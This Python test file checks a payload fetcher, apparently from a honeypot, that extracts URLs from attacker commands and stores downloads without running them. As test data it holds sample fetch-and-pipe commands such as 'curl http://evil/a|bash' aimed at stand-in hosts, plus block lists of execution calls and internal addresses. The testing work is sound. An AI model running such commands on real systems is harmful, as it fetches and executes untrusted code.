"""Run: python3 test_payload_fetch.py. Local fixtures only; no real outbound connections."""
import http.server
import pathlib
import threading
import time

from payload_fetch import Fetcher, extract_urls, public_addresses

# Static guarantee: the fetcher has no way to execute or pipe anything.
SOURCE = (pathlib.Path(__file__).parent / 'payload_fetch.py').read_text()
for forbidden in ('subprocess', 'os.system', 'os.popen', 'eval(', 'exec(', '__import__', 'pty.'):
    assert forbidden not in SOURCE, 'payload_fetch contains ' + forbidden

assert extract_urls('curl http://evil.example/a.sh -o /tmp/a; wget https://x.example/b') == [
    'http://evil.example/a.sh', 'https://x.example/b']
assert extract_urls('echo hi | bash') == []
assert extract_urls('curl http://evil/a|bash') == ['http://evil/a']
for blocked in ('127.0.0.1', '169.254.169.254', '10.0.0.1', '192.168.1.1', '::1'):
    try:
        public_addresses(blocked)
        raise AssertionError(blocked)
    except ValueError:
        pass

PAYLOAD = b'\x00MZ-inert-download\xff' * 64


class Fixture(http.server.BaseHTTPRequestHandler):
    def log_message(self, *args):
        pass

    def do_GET(self):
        if self.path == '/redirect':
            self.send_response(302)
            self.send_header('Location', '/payload')
            self.end_headers()
        elif self.path == '/big':
            self.send_response(200)
            self.send_header('Content-Type', 'application/octet-stream')
            self.end_headers()
            self.wfile.write(b'A' * 4096)
        else:
            self.send_response(200)
            self.send_header('Content-Type', 'application/octet-stream')
            self.end_headers()
            self.wfile.write(PAYLOAD)


def main():
    server = http.server.ThreadingHTTPServer(('127.0.0.1', 0), Fixture)
    port = server.server_port
    thread = threading.Thread(target=server.serve_forever, daemon=True)
    thread.start()
    rows = []
    try:
        fetcher = Fetcher(lambda event, **data: rows.append(dict(event=event, **data)),
                          resolver=lambda host: ['127.0.0.1'], ports=(port,), max_bytes=1024 * 1024)
        base = f'http://127.0.0.1:{port}'
        ctx = {'peer': '8.8.8.8', 'request_id': 'req-1'}

        # exact bytes stored, correlated context preserved
        fetcher._fetch(base + '/payload', ctx)
        download = rows[-1]
        assert download['event'] == 'payload_download' and download['content'] == PAYLOAD
        assert download['peer'] == '8.8.8.8' and download['request_id'] == 'req-1'
        assert download['status'] == 200 and download['truncated'] is False

        # redirects are followed through the same validated resolver
        fetcher._fetch(base + '/redirect', ctx)
        assert rows[-1]['event'] == 'payload_download' and rows[-1]['url'].endswith('/payload')

        # size cap marks truncation
        small = Fetcher(lambda event, **data: rows.append(dict(event=event, **data)),
                        resolver=lambda host: ['127.0.0.1'], ports=(port,), max_bytes=256)
        small._fetch(base + '/big', ctx)
        assert rows[-1]['truncated'] is True and len(rows[-1]['content']) == 256

        # non-allowed port is rejected before any socket is opened
        strict = Fetcher(lambda event, **data: rows.append(dict(event=event, **data)),
                         resolver=lambda host: ['127.0.0.1'], ports=(80, 443))
        try:
            strict._fetch(base + '/payload', ctx)
            raise AssertionError('non-allowed port accepted')
        except ValueError:
            pass

        # submit runs in background and stores the asset
        before = len(rows)
        fetcher.submit(f'wget {base}/payload -O /tmp/x', ctx)
        for _ in range(50):
            if any(r['event'] == 'payload_download' for r in rows[before:]):
                break
            time.sleep(0.05)
        assert any(r['event'] == 'payload_download' for r in rows[before:])
    finally:
        server.shutdown()
        server.server_close()
        thread.join(3)
    print('PASS: payload fetcher downloads and stores assets, blocks private/ports, never executes')


if __name__ == '__main__':
    main()